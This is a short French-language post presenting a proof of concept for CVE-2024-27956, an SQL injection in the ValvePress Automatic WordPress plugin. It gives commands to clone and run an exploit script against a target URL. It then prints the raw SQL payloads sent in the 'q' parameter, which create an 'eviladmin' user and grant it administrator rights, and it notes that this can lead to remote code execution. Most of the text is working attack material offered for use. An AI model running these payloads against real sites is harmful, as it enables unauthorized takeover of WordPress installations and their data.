
PoC pour l'injection SQL dans CVE-2024-27956
Un PoC pour CVE-2024-27956, une injection SQL dans le plugin ValvePress Automatic. Ce PoC exploite la vulnérabilité en créant un utilisateur sur la cible et en lui donnant des droits d'administrateur. Être administrateur dans WordPress peut mener à l'exécution de code à distance.
git clone https://github.com/diego-tella/CVE-2024-27956-RCE/
cd CVE-2024-27956-RCE
python exploit.py http://target.com
q=INSERT INTO wp_users (user_login, user_pass, user_nicename, user_email, user_url, user_registered, user_status, display_name) VALUES ('eviladmin', '$P$BASbMqW0nlZRux/2IhCw7AdvoNI4VT0', 'eviladmin', '[email protected]', 'http://127.0.0.1:8000', '2024-04-30 16:26:43', 0, 'eviladmin')
Attribution des droits d'administrateur :
q=INSERT INTO wp_usermeta (user_id, meta_key, meta_value) VALUES ((SELECT ID FROM wp_users WHERE user_login = 'eviladmin'), 'wp_capabilities', 'a:1:{s:13:\"administrator\";s:1:\"1\";}
Dans le paramètre q, nous pouvons passer notre requête entière qui sera ensuite exécutée.
L'entrée utilisateur est exécutée directement sans aucune restriction ni nettoyage.